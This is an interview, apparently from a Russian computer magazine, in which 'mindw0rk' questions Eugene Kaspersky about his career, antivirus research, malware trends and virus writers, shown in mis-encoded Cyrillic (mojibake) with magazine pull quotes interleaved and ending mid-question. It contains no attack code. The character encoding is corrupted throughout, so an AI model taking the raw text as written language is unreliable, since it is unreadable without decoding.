Ðîññèéñêèé ðûíîê ñåé÷àñ î÷åíü
áûñòðî ðàñòåò, çàêàç÷èêè ïðåêðàñíî
îñîçíàþò íåîáõîäèìîñòü çàùèòû, à
òàêæå òî, ÷òî íà ïèðàòñêîì ðûíêå
ìîæíî êóïèòü òîëüêî êîä. Àíòèâèðóñ
- ýòî ñåðâèñ, âàæíåéøåå êðûëî êîòî-
ðîãî - òåõíè÷åñêàÿ ïîääåðæêà, êîí-
ñàëòèíã, âíåäðåíèå è ò.ä. Âåäü åñëè
â ñåòü ôèðìû ïðîëåçåò âèðóñ è ïðè-
÷èíèò âðåä òîëüêî ïîòîìó, ÷òî óñòà-
íîâëåííûé àíòèâèðóñ îêàçàëñÿ íå-
ëèöåíçèîííûì, âèíà ëÿæåò íà ïëå÷è
àäìèíèñòðàòîðà. Ëó÷øå ïåðåñòðàõî-
âàòüñÿ è æèòü ñïîêîéíî. Òåì áîëåå,
ýòî íå òàêèå óæ è áîëüøèå äåíüãè.

mindw0rk: Êàê ÷àñòî õàêåðû àòàêóþò
âàø ñàéò? È íàñêîëüêî óñïåøíî ó
íèõ ýòî ïîëó÷àåòñÿ?
ÅÅÊÊ:: Àòàêóþò ïîñòîÿííî è ñ çàâèäíûì
óïîðñòâîì. Îòðàæåíèåì àòàê è îòñ-
ëåæèâàíèåì õóëèãàíîâ ó íàñ çàíè-
ìàåòñÿ ñïåöèàëüíîå ïîäðàçäåëåíèå.
Íàäî ñêàçàòü, åìó ýòî óäàåòñÿ. Íàñ
óñïåøíî âçëîìàëè òîëüêî îäèí ðàç -
õàêåðû èñïîëüçîâàëè î÷åíü èçâðà-
ùåííûé ñïîñîá âçëîìà, êîòîðûé
áîëüøå íèêîãäà è íèãäå íå ïðèìå-
íÿëñÿ. Íî íè îäèí èç íàøèõ ïîëüçî-
âàòåëåé íå ïîñòðàäàë - ó âñåõ ñòîèò
íàø àíòèâèðóñ.

Î ÑÅÁÅ
mindw0rk: Ðàññêàæèòå î âàøèõ ïåð-
âûõ êîìïüþòåðíûõ ãîäàõ. Ãäå è êàê
ñòàëè èçó÷àòü ïðîãðàììèðîâàíèå?
Íàñêîëüêî ëåãêî âàì ýòî äàâàëîñü?
ÅÅÊÊ:: Ïðîãðàììèðîâàíèåì ÿ çàðàçèëñÿ
åùå áóäó÷è ó÷åíèêîì ôèçèêî-ìàòå-
ìàòè÷åñêîé øêîëû. Ïîòîì áîëåçíü
óñóãóáèëàñü â èíñòèòóòå êðèïòîãðà-
ôèè. Îäíàêî åå ïðàêòè÷åñêîå ïðèìå-
íåíèå ÿ íàøåë óæå ïîñëå ðàñïðåäå-
ëåíèÿ. Â îäíîì íàó÷íî-èññëåäîâà-
òåëüñêîì èíñòèòóòå ìíå äîñòàëàñü
ìîùíåéøàÿ ïî òåì âðåìåíàì Olivetti
(IBM XT), è ìîåé ðàäîñòè íå áûëî
êîíöà. Êàê ñåë òîãäà, òàê äî ñèõ ïîð
íå âûëåçàþ.

mindw0rk: À íàñêîëüêî ëåãêî âàì äà-
âàëîñü èçó÷åíèå ïðîãðàììèðîâà-
íèÿ? Êòî áûë âàøèì íàñòàâíèêîì
(êíèãè, ïî êîòîðûì èçó÷àëè, ëþäè,
êîòîðûå ïîìîãàëè)? Êàêîé ÿçûê
ïðîãðàììèðîâàíèÿ âàø ëþáèìûé?
Êàê ÷àñòî âû ñåé÷àñ çàíèìàåòåñü
èìåííî ïðîãðàììèðîâàíèåì?
ÅÅÊÊ:: Èçó÷åíèå ïðîãðàììèðîâàíèÿ ìíå
âñåãäà äàâàëîñü ëåãêî. Íàñòàâíèêîâ
ïåðå÷èñëÿòü ìîæíî äîëãî: ñðåäè íèõ
ðîäèòåëè, ó÷èòåëÿ, êíèãè è ïðîñòî
ñëó÷àéíûå ëþäè. Èç âñåõ ÿçûêîâ ÿ
âñåãäà èñïûòûâàë ñëàáîñòü ê Àññåìá-
ëåðó. Ñåé÷àñ ÷èñòûì ïðîãðàììèðîâà-
íèåì, ñèñòåìíûì èëè ïðèêëàäíûì,
ïðàêòè÷åñêè íå çàíèìàþñü. Âñå âðå-
ìÿ óõîäèò íà àíàëèç âèðóñîâ è ðàç-
ðàáîòêó àíòèâèðóñíûõ ñèãíàòóð.

mindw0rk: Ðàññêàæèòå, êàê ïðîèçîø-
ëî âàøå ïåðâîå çíàêîìñòâî ñ êîìïü-
þòåðíûìè âèðóñàìè. È îòêóäà âçÿë-
ñÿ òàêîé ê íèì òàêîé èíòåðåñ?

ÅÅÊÊ:: Íå ñîâñåì òàê. Íå èíòåðåñ ê
êîìïüþòåðíûì âèðóñàì, à, ñêîðåå,
íåíàâèñòü ê íèì. Ìîæåòå ñåáå
ïðåäñòàâèòü ïðè÷èíó òîãî, ÷òî âû
ðàáîòàåòå äî 12 íî÷è, áåç âûõîäíûõ
è îòïóñêîâ? À âåäü âñå èç-çà íèõ,
âèðóñîâ. Íà÷àëîñü âñå â áîðîäàòîì
1989 ñ âèðóñà "Cascade". Ïîïàë îí
êî ìíå áàíàëüíî, íà äèñêåòå. Âäðóã
ïîñûïàëèñü áóêîâêè, áûëî áåçóìíî
èíòåðåñíî. Óæå òîãäà ôåíîìåí áûë
íà ñëóõó, è ÿ ñðàçó ïîíÿë, ñ ÷åì
èìåþ äåëî. Ñòàëî èíòåðåñíî, íàøåë
çàðàæåííûå ôàéëû, ïðîàíàëèçèðî-
âàë è æóòêî çàõîòåë ñäåëàòü ïðîã-
ðàììó, êîòîðàÿ èõ âîññòàíàâëèâàåò.
Ñäåëàë. Åå äàëåêèì ïîòîìêîì ñåé÷àñ
íàñëàæäàåòñÿ îêîëî 70% ðîññèéñ-
êèõ ïîëüçîâàòåëåé.

mindw0rk: À ÷òî ñîáîé ïðåäñòàâëÿëà
ñàìàÿ ïåðâàÿ âåðñèÿ âàøåãî àíòèâè-
ðóñà? Êàêèì áûëî ïåðâîíà÷àëüíîå
íàçâàíèå? Êàêèå ôóíêöèè îí âû-
ïîëíÿë?
ÅÅÊÊ:: Ñàìàÿ ïåðâàÿ âåðñèÿ óæå íà òîò
ìîìåíò áûëà ÷óäîì òåõíèêè: ïñåâ-
äîãðàôè÷åñêèé èíòåðôåéñ, ïîääå-
ðæêà ìûøêè, ðàçíîîáðàçíûå îïöèè.
Åùå äî AVP îíà íîñèëà èìÿ "-V": ñ
îäíîé ñòîðîíû, ìèíóñ ñèìâîëèçèðó-
åò ñóäüáó áóêâû V (îäíîçíà÷íî óêà-
çûâàåò íà virus), ñ äðóãîé - ýòî ïåð-
âûé ñèìâîë òàáëèöû êîäèðîâêè, òàê
÷òî ìîÿ ïðîãðàììà âñåãäà çàíèìàëà
ïåðâîå ìåñòî â êàòàëîãå.

mindw0rk: Êàêèå çíàíèÿ/êà÷åñòâà
íóæíû äëÿ òîãî, ÷òîáû óñïåøíî
ñïðàâëÿòüñÿ ñ ðàáîòîé ðóêîâîäèòå-
ëÿ àíòèâèðóñíûõ èññëåäîâàíèé â
êîìïàíèè "Kaspersky Labs"?
ÅÅÊÊ:: ß âñå æå äîñòàòî÷íî ñêðîìíûé
÷åëîâåê, ïîýòîìó íå áóäó óïîòðåá-
ëÿòü â îòâåòå ñëîâî "òàëàíò" :). Ïå-
ðåõîäÿ ñðàçó êî âòîðîìó ìåñòó â èå-
ðàðõèè êà÷åñòâ, íå ìîãó íå óïîìÿ-
íóòü âûñîêóþ õàðèçìó, ðàáîòîñïî-
ñîáíîñòü, óïîðñòâî è... âîîáùå, åùå
íåïëîõî æèòü ðÿäîì ñ îôèñîì :).

mindw0rk: Ðàññêàæèòå, êàê îáû÷íî
ïðîõîäèò âàø ðàáî÷èé äåíü?
ÅÅÊÊ:: Íè÷åãî îñîáåííîãî. Êîíòèíåíòû
ÿ íå äâèãàþ è ñóäüáàìè ìèðà íå ðàñ-
ïîðÿæàþñü. Ïðèõîæó, ñàæóñü çà
êîìïüþòåð è "äîëáàþ" âèðóñû. Ó íàñ
äàæå åñòü òàêîé òåðìèí äëÿ êîëëåã-
âèðóñîëîãîâ - "äÿòåë". "Äÿòåë" - ýòî
òîò, êòî äîëáàåò âèðóñû. Ïîëó÷àåòñÿ,
ÿ ãëàâíûé :).

mindw0rk: À âàì íèêîãäà íå õîòå-
ëîñü ïîñëå î÷åðåäíîãî çàâàëà ïëþ-
íóòü íà âñå è óéòè â ìîíàñòûðü? :)
Íó, èëè çàíÿòüñÿ ÷åì-òî ìåíåå íàï-
ðÿæíûì.
ÅÅÊÊ:: Óæå íå ìîãó, âîøåë âî âêóñ. Íàî-
áîðîò, êàæäàÿ íîâàÿ çàäà÷à âûçûâà-
åò ó ìåíÿ áëåñê â ãëàçàõ è æåëàíèå
áûñòðåå ïîãðóçèòüñÿ â åå ðåøåíèå.

mindw0rk: Íà êàêîì êîìïüþòåðå âû
ðàáîòàåòå â Ëàáîðàòîðèè, è êàêîé

ñòîèò ó âàñ äîìà? Êàêèìè ïðîãðàì-
ìàìè âû ïîëüçóåòåñü â ðàáîòå?
ÅÅÊÊ:: Ó ìåíÿ íåñêîëüêî êîìïüþòåðîâ:
îäèí - ÷èñòûé, èñïîëüçóåòñÿ äëÿ
êîììóíèêàöèé ñ ìèðîì, îñòàëüíûå
îòäàíû íà ðàñòåðçàíèå âèðóñàì. Òàì
ÿ èõ ïðåïàðèðóþ. Âñå, çà èñêëþ÷åíè-
åì ïåðâîãî, èçîëèðîâàíû îò ìèðà,
÷òîáû ó óçíèêîâ íå ïîÿâëÿëñÿ ñîá-
ëàçí ñáåæàòü íà âîëþ, è ðàáîòàþò
ïîä óïðàâëåíèåì ÎÑ Windows ðàç-
íûõ âåðñèé. Èç ïðîãðàìì ÿ èñïîëü-
çóþ íàøè âíóòðåííèå óòèëèòû, IDA,
FAR è Pinball :).

mindw0rk: Pinball? :) Âû ÷àñòî
èãðàåòå â èãðû? Êàêèì îòäàåòå
ïðåäïî÷òåíèå?
ÅÅÊÊ:: Pinball ;). Èãðàþ íå÷àñòî,
îáû÷íî â ïåðåðûâàõ ìåæäó
ðåøåíèåì çàäà÷, ÷òîáû íåìíîãî
ðàçâåÿòüñÿ è ïðèâåñòè ìîçãè â
ïîðÿäîê.

mindw0rk: Ïðîáîâàëè ëè âû ñàìè â
èññëåäîâàòåëüñêèõ öåëÿõ íàïèñàòü
âèðóñ? Åñëè äà - ðàññêàæèòå î íåì
(íèõ) ïîïîäðîáíåå. Åñëè íåò -
âîçíèêàëî ëè òàêîå æåëàíèå?
ÅÅÊÊ:: Ñêàæó ÷åñòíî - è áåç ýòîãî
ðàáîòû õâàòàåò.

mindw0rk: Íàñêîëüêî, ïî âàøåìó
ìíåíèþ, âàæíî ïîëüçîâàòåëþ èìåòü
íà ñâîåì êîìïüþòåðå óñòàíîâëåí-
íûé àíòèâèðóñ? Êàê âû îöåíèâàåòå
îïàñíîñòü ïðè åãî îòñóòñòâèè?
ÅÅÊÊ:: Àíòèâèðóñ íóæåí äàæå âèðóñî-
ëîãó. Ïî êðàéíåé ìåðå, ÷òîáû ïðî-
òåñòèðîâàòü ðàáîòó ñâîåãî äåòèùà.
Ïîëüçîâàòåëþ òîæå î÷åíü âàæíî
èìåòü çàùèòó. Ïîïðîáóéòå âûéòè â
èíòåðíåò áåç àíòèâèðóñà, è óæå ÷å-
ðåç íåñêîëüêî ìèíóò ìîæåòå ñõëîïî-
òàòü êàêîãî-íèáóäü ÷åðâÿ. Ïðè÷åì
ñåãîäíÿ ìû ðåêîìåíäóåì íå çàöèê-
ëèâàòüñÿ òîëüêî íà àíòèâèðóñå. Ýòî
íå ïàíàöåÿ. Íóæíî îáÿçàòåëüíî ñòà-
âèòü ìåæñåòåâîé ýêðàí è ïðîñòî
ó÷èòüñÿ îñíîâíûì ïðàâèëàì êîìïü-
þòåðíîé ãèãèåíû.

mindw0rk: (äåëàÿ ñòðàøíûå ãëàçà)
ÊÀÊ? "Àíòèâèðóñ Êàñïåðñêîãî" íå
ïàíàöåÿ ïðîòèâ âèðóñîâ?? :))
ÅÅÊÊ:: Òàêîå ïîçâîëÿþò ñåáå ãîâîðèòü
â îòíîøåíèè ñâîèõ ïðîäóêòîâ
òîëüêî, õì, íå ñîâñåì ÷åñòíûå
ðàçðàáîò÷èêè. Ýòî âñå ðàâíî, ÷òî
óòâåðæäàòü - ïîäóøêà áåçîïàñíîñòè
ãàðàíòèðóåò ñòîïðîöåíòíóþ
áåçîïàñíîñòü.

mindw0rk: Êàêèå òåõíîëîãèè íàïèñà-
íèÿ âèðóñîâ ñåé÷àñ íàèáîëåå ïîïó-
ëÿðíû ó àâòîðîâ? Åñòü ëè ó âàñ èäåè
àëãîðèòìîâ âèðóñîâ, êîòîðûå åùå
íå èñïîëüçîâàëèñü íè îäíèì âèðóñ-
ìåéêåðîì?
ÅÅÊÊ:: Òåõíîëîãèè íàïèñàíèÿ âèðóñîâ?
Õì, ñàìàÿ ðàñïðîñòðàíåííàÿ - âêëþ-
÷èë êîìïüþòåð, çàãðóçèë C++ è íà-
ïèñàë. Äðóãîå äåëî, ÷òî ñåé÷àñ ïè-
øóò äàæå íå âèðóñû, à áîëüøå ñåòå-
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Äëÿ íàñ ýòî
áûëî ïåðâîå
èñïûòàíèå,
è ìû ïîáå-
äèëè. Íå
ïðîñòî ïî-
áåäèëè, à
îñòàâèëè
äàëåêî ïî-
çàäè âñåõ
êîíêóðåí-
òîâ.

... ÿ íå âèæó
òàêîãî àâ-
òîðèòåòà,
êîòîðûé
ìîã áû ìåíÿ
íàó÷èòü ÷å-
ìó-òî ïðèí-
öèïèàëüíî
íîâîìó.
Ñêîðåå íàî-
áîðîò.

... ïîäàâëÿ-
þùåå áîëü-
øèíñòâî
âðåäîíîñ-
íûõ ïðîã-
ðàìì (95%)
íàöåëåíû
òîëüêî íà
Windows.
Ýòî ëîãè÷-
íî, âåäü ýòà
îïåðàöèîí-
íàÿ ñèñòåìà
- ñàìàÿ ïî-
ïóëÿðíàÿ.



âûõ ÷åðâåé, àòàêóþùèõ áðåøè â ñèñ-
òåìàõ áåçîïàñíîñòè îïåðàöèîíîê è
ïðèëîæåíèé. Ìíå, êàê, ïî ñóòè, âðà-
÷ó ñêîðîé ïîìîùè, ïîíÿòíî, ÷òî ó
áîëüíîãî (èíòåðíåòà) áîëèò, à ÷òî
åùå íåò. Åñòåñòâåííî, ÷òî ÿ ïîíèìàþ
ñëàáûå ìåñòà Ñåòè è ïðåäñòàâëÿþ
âîçìîæíûå ïóòè ðàçâèòèÿ âèðóñîïè-
ñàòåëüñòâà. Òîëüêî íèêòî, êðîìå ìå-
íÿ, èõ íèêîãäà íå óçíàåò. Sorry.

mindw0rk: Âû ÷èòàåòå ëåíòó bug-
traq? :)
ÅÅÊÊ:: Òññññññ!

mindw0rk: Íà êàêîì ÿçûêå ïðîãðàì-
ìèðîâàíèÿ ñåé÷àñ îáû÷íî ïèøóò âè-
ðóñû? È êàêîâî ïðèìåðíîå ñîîòíî-
øåíèå ñîâðåìåííûõ âèðóñîâ
dos/win/cross-platform?
ÅÅÊÊ:: Áîëüøèíñòâî âèðóñîâ ñîçäàåò-
ñÿ íà ÿçûêàõ âûñîêîãî óðîâíÿ, òèïà
C++ è Delphi. Àññåìáëåð ñòàë ïðåèìó-
ùåñòâåííî îðóæèåì áîëåå âçðîñëî-
ãî ïîêîëåíèÿ, êîòîðîå òàêèìè ãëó-
ïîñòÿìè íå çàíèìàåòñÿ. Õîòÿ, ñàìè
ïîíèìàåòå, áûâàþò è èñêëþ÷åíèÿ.
×òî êàñàåòñÿ ÎÑ - ïîäàâëÿþùåå
áîëüøèíñòâî âðåäîíîñíûõ ïðîãðàìì
(95%) íàöåëåíû òîëüêî íà Windows.
Ýòî ëîãè÷íî, âåäü ýòà îïåðàöèîííàÿ
ñèñòåìà - ñàìàÿ ïîïóëÿðíàÿ.

mindw0rk: À êàêèå ñóùåñòâóþò ïëàò-
ôîðìû, ãäå âèðóñîâ ïîêà íåò (èëè
î÷åíü ìàëî), íî òåîðåòè÷åñêè âîçìî-
æåí âñïëåñê àêòèâíîñòè? Äàéòå êîì-
ìåíòàðèé ïåðñïåêòèâàì ñóùåñòâîâà-
íèÿ âèðóñîâ íà "ýêçîòè÷åñêèõ" ïëàò-
ôîðìàõ.
ÅÅÊÊ:: Âèðóñû ìîãóò ñóùåñòâîâàòü âåç-
äå, â ëþáîé ñðåäå, ãäå âûïîëíÿþòñÿ
ñëåäóþùèå óñëîâèÿ. Âî-ïåðâûõ, ïî-
ïóëÿðíîñòü. Åñòåñòâåííî, ÷òî îïåðà-
öèîííàÿ ñðåäà äîëæíà "íàêðûòü"
õîòü îäíîãî âèðóñîïèñàòåëÿ. Âî-âòî-
ðûõ, äîêóìåíòèðîâàííîñòü. Òðóäíî
íàïèñàòü âèðóñ, íå çíàÿ, êàê ýòî äå-
ëàåòñÿ, è íå èìåÿ ñðåäñòâ ðàçðàáîò-
êè. Â-òðåòüèõ, íåçàùèùåííîñòü. Ýòî
îòäåëüíûé âîïðîñ. Ïî óìîë÷àíèþ
âñå îïåðàöèîíêè íå çàùèùåíû (íåò
èäåàëüíîãî ïðîãðàììèñòà è èäåàëü-
íîãî, áåçãðåøíîãî êîäà). Ïðîñòî áðå-
øè, ìîæåò áûòü, åùå íå îáíàðóæåíû.
Òàê ÷òî íåçàùèùåííîñòü èçìåðÿåòñÿ
èìåííî êîëè÷åñòâîì îáíàðóæåííûõ
áðåøåé è îòñóòñòâèåì ãàðàíòèðîâàí-
íûõ ñðåäñòâ çàùèòû, òèïà sandbox.
Ïðèìåðüòå ýòè óñëîâèÿ ê "ýêçîòè÷åñ-
êèì ïëàòôîðìàì", è âñå ñòàíåò ÿñíî.

mindw0rk: Íó õîðîøî. À åñòü ëè çà-
ôèêñèðîâàííûå ñëó÷àè ïîÿâëåíèÿ
âèðóñîâ íà ìîáèëüíûõ òåëåôîíàõ?
ÅÅÊÊ:: Íåò. Ïðîõîäèëè ñëóõè î òîì, ÷òî
íàïèñàííûå îïðåäåëåííûì îáðàçîì
SMS'êè ìîãóò çàâàëèòü òåëåôîí. Íî
ìû òàê è íå äîáèëèñü èõ ðåàëèçàöèè
â ëàáîðàòîðíûõ óñëîâèÿõ. Ïîýòîìó
ïðîøó ñ÷èòàòü ýòî íå áîëåå ÷åì ñëó-
õàìè. À âèðóñîâ (ò.å. ñàìîðàçìíîæà-
þùèõñÿ ïðîãðàìì) äëÿ êëàññè÷åñêèõ
ìîáèëüíèêîâ íåò. Åñòü íåñêîëüêî

êîíöåïòóàëüíûõ îáðàçöîâ äëÿ
ñìàðòôîíîâ, íî ñìàðòôîí, ñàìè ïî-
íèìàåòå, ýòî, ñêîðåå, êàðìàííûé
êîìïüþòåð, íåæåëè òåëåôîí.

mindw0rk: Êîãî âû ñ÷èòàåòå âåäóùè-
ìè â ìèðå ñïåöèàëèñòàìè ïî âèðó-
ñàì? Èç ÷èñëà âàøèõ êîëëåã, âèðóñ-
ìåéêåðîâ èëè ïðîñòî èññëåäîâàòå-
ëåé ýòîé îáëàñòè. Äëÿ âñåãî ìèðà âû
ÿâëÿåòåñü àâòîðèòåòîì. Íî ñóùåñò-
âóþò ëè àâòîðèòåòû äëÿ âàñ?
ÅÅÊÊ:: Êàê áû íåñêðîìíî ýòî íè çâó÷à-
ëî, íî ÿ íå âèæó òàêîãî àâòîðèòåòà,
êîòîðûé ìîã áû ìåíÿ íàó÷èòü ÷åìó-òî
ïðèíöèïèàëüíî íîâîìó. Ñêîðåå íàî-
áîðîò. Îäíàêî åñòü íåñêîëüêî î÷åíü
òàëàíòëèâûõ ýêñïåðòîâ, â òîì ÷èñëå
èç êîíêóðèðóþùèõ êîìïàíèé, ñ êîòî-
ðûìè ìû îáùàåìñÿ íà îäíîì óðîâíå.

mindw0rk: Êàê âû îòíîñèòåñü ê ïðî-
ôåññèîíàëüíûì âèðóñìåéêåðàì?
Èñïûòûâàåòå ëè âû óâàæåíèå ê òåì,
êòî ñîçäàåò îðèãèíàëüíûå âèðóñû ñ
õîðîøèì êîäîì (íå äåñòðóêòèâíûì)?
Ñ÷èòàåòå ëè âû, ÷òî âñåõ àâòîðîâ è
ðàñïðîñòðàíèòåëåé âèðóñîâ, íåçàâè-
ñèìî îò òîãî, äåñòðóêòèâåí èõ êîä
èëè íåò, ñëåäóåò ñóäèòü è íàêàçû-
âàòü? Êàêîå, ïî âàøåìó ìíåíèþ, íà-
êàçàíèå ÿâëÿåòñÿ ñïðàâåäëèâûì?

ÅÅÊÊ:: Èçâèíèòå çà áàíàëüíîñòü, ÿ ê
íèì íå îòíîøóñü. Ó âèðóñîâ ïî óìîë-
÷àíèþ íå ìîæåò áûòü õîðîøåãî êîäà,
ýòî êàê àòîìíàÿ áîìáà - ìîæåò ëè
áûòü õîðîøèì ñðåäñòâî óíè÷òîæå-
íèÿ ëþäåé? "Õîðîøåñòü" ìîæåò äè-
àãíîñòèðîâàòü òàêîé æå èñïîð÷åí-
íûé ÷åëîâåê, êàê è ñàì àâòîð âèðóñà.
Åñëè ñåãîäíÿ îí ñîçäàë áåçâðåäíûé
âèðóñ, òî îò ñëåäóþùåãî åãî òâîðå-
íèÿ ìîæåò ëå÷ü èíòåðíåò. Ïîýòîìó ÿ
ïðèðàâíèâàþ êèáåðïðåñòóïíèêîâ ê
êëèåíòàì îñòàëüíûõ ãëàâ óãîëîâíîãî
êîäåêñà. Ïðàâäà, íàêàçàíèå äîëæíî
âñå-òàêè îòëè÷àòüñÿ. Ñîâðåìåííûå
âèðóñîïèñàòåëè â áîëüøèíñòâå ñëó-
÷àåâ - ïîäðîñòêè, òàêèì ýêçîòè÷åñ-
êèì îáðàçîì óòâåðæäàþùèåñÿ â
æèçíè. Íó íå âûøëî ó íåãî ñ ïðîòè-
âîïîëîæíûì ïîëîì, íó õîòü çäåñü,
íà ãåðîñòðàòîâîì ïîïðèùå, ïðîÿâèò
ñåáÿ. Ìíå êàæåòñÿ, òàêèõ åùå ìîæíî
âðàçóìèòü. À ÷òî êàñàåòñÿ ðåöèäè-
âèñòîâ - òàê ýòèõ íàêàçûâàòü ïî âñåé
ñòðîãîñòè çàêîíà. Âèðóñû - ýòî íå èã-
ðóøêè. Èç-çà íèõ ñðûâàþòñÿ ìíîãî-
ìèëëèàðäíûå ñäåëêè, ëþäè òåðÿþò
ãîäà ðàáîòû. Âñå ýòî ïðåñòóïëåíèå.

mindw0rk: À âû íèêîãäà íå çàäóìû-
âàëèñü, ÷òî íåêîòîðûå èç òàêèõ ëþ-
äåé (íå òå, êòî ïèøåò äåñòðóêòèâíûé
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Åâãåíèé Êàñïåðñêèé

... âèðóñîâ
(ò.å. ñàìî-
ðàçìíîæàþ-
ùèõñÿ ïðîã-
ðàìì) äëÿ
êëàññè÷åñ-
êèõ ìîáèëü-
íèêîâ íåò.

Âîîáùå
÷óâñòâóåò-
ñÿ, ÷òî ó
ìåíÿ óõîäèò
âñå ìåíüøå
âðåìåíè íà
àíàëèç âè-
ðóñîâ...

Àíòèâèðóñ
íóæåí äàæå
âèðóñîëîãó.
Ïî êðàéíåé
ìåðå, ÷òîáû
ïðîòåñòèðî-
âàòü ðàáîòó
ñâîåãî äå-
òèùà.



êîä, è íå øêîëüíèêè, êëåïàþùèå âè-
ðóñû ïðîãðàììàìè âèðóñ-ãåíåðàòîðà-
ìè) âîçìîæíî ÿâëÿþòñÿ íåïëîõèìè
ó÷åíûìè. È ñîçäàþò âèðóñû íå èç
ëþáâè ê äåñòðóêòèâó, è íå îòòîãî,
÷òî "íå âûøëî ñ ïðîòèâîïîëîæíûì
ïîëîì", à ïîòîìó ÷òî ïûòàþòñÿ èñ-
ñëåäîâàòü è ñîçäàòü íîâóþ ôîðìó
æèçíè, ðàçâèâàþùóþñÿ ñàìîñòîÿ-
òåëüíî. Ñâîåãî ðîäà Èñêóññòâåííûé
Èíòåëëåêò. Êàê â ñâîå âðåìÿ Èàí
Õåï è Äæîíàòàí Øîê - ó÷åíûå èç
Xerox è àâòîðû ïåðâûõ âèðóñîâ. È
âû äåéñòâèòåëüíî ñ÷èòàåòå, ÷òî
óùåðáíîñòü èíäèâèäà íóæíî îöåíè-
âàòü ïî åãî _âîçìîæíûì_ ïîñòóï-
êàì?? Ìîæíî ëè â òàêîì ñëó÷àå
íàçâàòü óùåðáíûì Fyodor'a - àâòî-
ðà íåáåçûçâåñòíîãî nmap, òîëüêî
ïîòîìó, ÷òî îí ÌÎÆÅÒ ñîçäàòü òî,
÷òî íå òîëüêî ñêàíèðóåò, íî è ïðî-
âîäèò àòàêó DoS?
ÅÊ: ß íå âèæó ïàðàëëåëè ìåæäó
Õåïîì è Øîêîì, à òàêæå Ïåíðîó-
çîì, Øòàëåì, Âèñîöêèì è Ìàêèëðî-
åì - è ðåáÿòàìè, êîòîðûå ñåãîäíÿ
ñîçäàþò âèðóñû. Íå óáåäèëè âû ìå-
íÿ. Íå íàäî îïðàâäûâàòü êèáåðï-
ðåñòóïíîñòü â ëþáîì åå âèäå íàó÷-
íî-èññëåäîâàòåëüñêèìè öåëÿìè. Òàê
ìîæíî îïðàâäàòü è ëþäåé, ñîçäàâ-
øèõ îðóæèå ìàññîâîãî óíè÷òîæå-
íèÿ. Äà, îíè òàëàíòëèâû, ìåñòàìè
ãåíèàëüíû, íî ïðîäóêò èõ äåÿòåëü-
íîñòè äåñòðóêòèâåí, à, ñëåäîâàòåëü-
íî, ïîðî÷åí.

mindw0rk: Âàøå ìíåíèå î VX-æóðíà-
ëàõ, òàêèõ êàê 29A è Infected Voice.
Èñòî÷íèê çëà èëè ïîçíàâàòåëüíàÿ
èíôîðìàöèÿ?
ÅÅÊÊ:: Ìíå êàæåòñÿ, èì íóæíî ëå÷èòü-
ñÿ. Îñîáåííî Infected Voice. Íàçâà-
íèå ãîâîðèò ñàìî çà ñåáÿ.

mindw0rk: Ëå÷èòüñÿ, ïðîñòèòå, îò ÷å-
ãî? :) Âåëèêà ëè ðàçíèöà ìåæäó èí-
ôîðìàöèåé, ïóáëèêóåìîé â ïîäîá-
íûõ æóðíàëàõ, è òîé òåõíè÷åñêîé èí-
ôîðìàöèåé, êîòîðîé îáìåíèâàþòñÿ
äðóã ñ äðóãîì àíòèâèðóñíûå îðãàíè-
çàöèè?

ÅÅÊÊ:: Íàïðàâëåíèå âåêòîðà ðàçíîå: â
îäíîì ñëó÷àå - ñîçèäàíèå, â äðóãîì -
äåñòðóêòèâíîñòü.

mindw0rk: À êàê âû îòíîñèòåñü ê ñî-
îáùåíèÿì, òèïà "Warning, all info we
give is for educational purpose only.
Don't use it for illegal activity", êîòî-
ðûå ïå÷àòàþòñÿ â ïîäîáíûõ èçäàíè-
ÿõ â ñîäåðæàíèè? Ñòîèò ëè ïðèìå-
íÿòü ìåðû ê àâòîðàì òàêèõ æóðíà-
ëîâ òîëüêî èç-çà òîãî, ÷òî èíôîðìà-
öèåé ìîæåò áûòü êòî-íèáóäü êîãäà-
íèáóäü âîñïîëüçóåòñÿ â íåõîðîøèõ
öåëÿõ? Êàê âû îòíîñèòåñü ê çàÿâëå-
íèþ âèðóñìåéêåðîâ (è ìíîãèõ äðóãèõ
ëþäåé), ÷òî ëþáàÿ èíôîðìàöèÿ èìå-
åò ïðàâî íà ñóùåñòâîâàíèå è äîëæ-
íà áûòü äîñòóïíà âñåì ëþäÿì?
ÅÅÊÊ:: Àãà, à íàðêîòèêè òîæå äîëæåí
ïîïðîáîâàòü êàæäûé ñîâðåìåííûé
÷åëîâåê. Åñëè ïðîäîëæàòü àíàëîãèè,
òî ïîëó÷àåòñÿ õàîñ. ×òîáû ïîíÿòü
ìîè ÷óâñòâà ê ýòèì ñòðàííûì ëþäÿì,
ïðåäñòàâüòå, ÷òî íåñêîëüêî ëåò ÿ âî-
îáùå ïðàêòè÷åñêè íå âûëåçàë ñ ðà-
áîòû - ïîñòîÿííî àíàëèçèðîâàë íî-
âûå âèðóñû è ðàçðàáàòûâàë çàùèòó.

mindw0rk: Õì, êàêèì îáðàçîì çäåñü
çàäåéñòâîâàíû ëè÷íûå ÷óâñòâà ê âè-
ðóñìåéêåðàì? Íàñêîëüêî ÿ ïîíèìàþ,
ýòî õàðàêòåðèçóåò âàøó ëþáîâü ê
ðàáîòå, êîòîðîé âû ñåáÿ ïîñâÿòèëè.
Ëþáîâü ê èññëåäîâàíèÿì.
ÅÅÊÊ:: Ìíå âñåãäà êàçàëîñü, ÷òî ÿ ñïî-
ñîáåí äîáèòüñÿ ìíîãîãî è â äðóãèõ
îáëàñòÿõ ÷åëîâå÷åñêîé äåÿòåëüíîñ-
òè. Íå áûëî áû âèðóñîâ, ìîæåò áûòü,
Êàñïåðñêèé áûë áû èçâåñòåí êàê...
õì, ñêàæåì, Íîáåëåâñêèé ëàóðåàò ïî
ìàòåìàòèêå ;).

mindw0rk: ×àñòî ëè âèðóñìåéêåðû
óäèâëÿþò âàñ ñâîèìè ðåøåíèÿìè
(êîäà)? Êàêèå òðè âèðóñà âû ñ÷èòàå-
òå ñàìûìè ïðîôåññèîíàëüíûìè è
ãðàìîòíûìè?
ÅÅÊÊ:: Áûâàþò ñëó÷àè, èìåííî óäèâëÿþò.
Âîò áû èõ ãîëîâó, äà â ïðàâèëüíîå ðóñ-
ëî! Èç ñàìûõ ãðîìêèõ ìîãó îòìåòèòü
CIH (×åðíîáûëü), Magistr è Slammer.

mindw0rk: À èç íåãðîìêèõ? :) Ìíîãî
ëè âû âñòðå÷àëè âèðóñîâ, êîòîðûå
ìîãëè ó÷èíèòü äåëîâ ïîáîëåå Ñèõà,
íî, â ñèëó îïðåäåëåííûõ
îáñòîÿòåëüñòâ, íå ïðèæèëèñü, è î
íèõ âîîáùå ìàëî êòî çíàåò?
